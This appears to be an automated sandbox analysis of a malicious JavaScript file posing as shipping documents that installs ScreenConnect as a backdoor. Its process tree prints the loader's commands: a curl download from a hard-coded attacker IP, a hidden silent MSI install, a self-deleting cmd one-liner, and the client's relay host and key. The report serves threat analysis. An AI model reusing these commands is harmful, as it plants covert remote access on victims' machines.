Analysis

  • max time kernel
    298s
  • max time network
    279s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 02:58

General

  • Target
    .SHIPMENT-PL & CI & BL draft for HF26XF0116A.js
  • Size 9KB
  • Sample261024-dgbcps11hv
  • SHA256 e313a6335f56060ed9d625ef6bd673f6fb74100bcee376bfc99b4e476d8b293d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\.SHIPMENT-PL & CI & BL draft for HF26XF0116A.js"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious use of WriteProcessMemory
    PID:5368
    • C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -L -s -f --retry 2 -o "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" "http://216.122.187.223/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
      2⤵
        PID:4580
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart REBOOT=ReallySuppress ALLUSERS=1 ARPSYSTEMCOMPONENT=1 ARPNOREMOVE=1 ARPNOMODIFY=1
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:4700
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 3 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\.SHIPMENT-PL & CI & BL draft for HF26XF0116A.js"
        2⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1 -n 3
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:4272
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EA6DE572F87B4B25CA50A6449BCC8446
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSI403B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240730562 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2864
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 82E7F7AF076DC5065A663A7B7F00C228 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:5304
    • C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=216.122.187.223&p=8041&s=f08fe9bb-1ef7-487c-a0b7-e3554b4db241&k=BgIAAACkAABSU0ExAAgAAAEAAQDdB407tXRMNC8Fhfdte8HsNmVP3v2njn6BQbEuCL2Kd%2fm9BTWPwhrYPcNnKY0av7N6wABh7lFRgon%2fg5Ua6jPflDx1qafL54fBfUlmrdav6vX67r9wagVQdnqMQCqWwOeM%2bLxgWZFtL8D7dCkQo2vVH%2bd5DMSUQGoCPhJum2QutnBFTa465md6gYlQe2Dww6bisd1ehbCs%2bKMbj3kMNt2qz4dCegZhgxr36Q8svzjTG8xCdFJHwbPGE8I%2fKZP%2b6k8ByzMYdWo9MgbXsmvN5Ir9tPKTLRQZElH84Z1uJQzzd7eMh6AKIYr7t1hEHnhs99zby%2bnrh3FfOyHUTu8tN%2bPG"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3604
      • C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe" "RunRole" "bd42ce51-ac78-4c9b-bbba-2e834236181a" "User"
        2⤵
        • Executes dropped EXE
        PID:4688
      • C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe" "RunRole" "e38a0e12-7c68-44d8-aa98-e157b2bd3910" "System"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4464

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e593d31.rbs

          • Path C:\Config.Msi\e593d31.rbs
          • Size 214KB
          • SHA256 5aeec163369e995f0188954af57524f26489c543e4ab8674db303f5d340ef3ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\Client.Override.resources
          • Size 12KB
          • SHA256 9be5df6dc876793e2ab02aecdbdd1e6c23ee78b68f2687fb1390d15bc833435d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\app.config
          • Size 1KB
          • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (37298ae0eb4c7765)\system.config
          • Size 939B
          • SHA256 448d7b1be920d0cb4aec0d149a9764279a8108532fc8cf5f1cff5bce1f5a4508
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 e713048f87112dd79d81b4f89323505a3e7b9275f08e28625583adee513a0307
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI403B.tmp

          • Path C:\Windows\Installer\MSI403B.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI403B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI403B.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI403B.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI403B.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4742.tmp

          • Path C:\Windows\Installer\MSI4742.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2864-26-0x0000000003340000-0x000000000334A000-memory.dmp

          memory/2864-22-0x0000000003350000-0x000000000337E000-memory.dmp

          memory/2864-34-0x0000000005810000-0x00000000059BC000-memory.dmp

          memory/2864-35-0x0000000005F80000-0x000000000653A000-memory.dmp

          memory/2864-30-0x0000000005480000-0x000000000550C000-memory.dmp

          memory/3604-74-0x00000000015F0000-0x0000000001608000-memory.dmp

          memory/3604-93-0x0000000003E20000-0x0000000003E56000-memory.dmp

          memory/3604-105-0x00000000042D0000-0x00000000043A5000-memory.dmp

          memory/3604-85-0x0000000003DD0000-0x0000000003E20000-memory.dmp

          memory/3604-101-0x00000000040E0000-0x0000000004172000-memory.dmp

          memory/3604-103-0x0000000003D90000-0x0000000003DD1000-memory.dmp

          memory/4688-117-0x0000000000D20000-0x0000000000D56000-memory.dmp

          memory/4688-116-0x0000000000280000-0x0000000000318000-memory.dmp

          memory/4688-119-0x000000001B5F0000-0x000000001B79C000-memory.dmp

          memory/4688-118-0x000000001B3B0000-0x000000001B43C000-memory.dmp

          memory/4688-120-0x000000001B930000-0x000000001BAB8000-memory.dmp

          memory/4688-122-0x0000000000CF0000-0x0000000000D08000-memory.dmp

          memory/4688-123-0x000000001B320000-0x000000001B361000-memory.dmp

          memory/4688-121-0x0000000000CB0000-0x0000000000CC8000-memory.dmp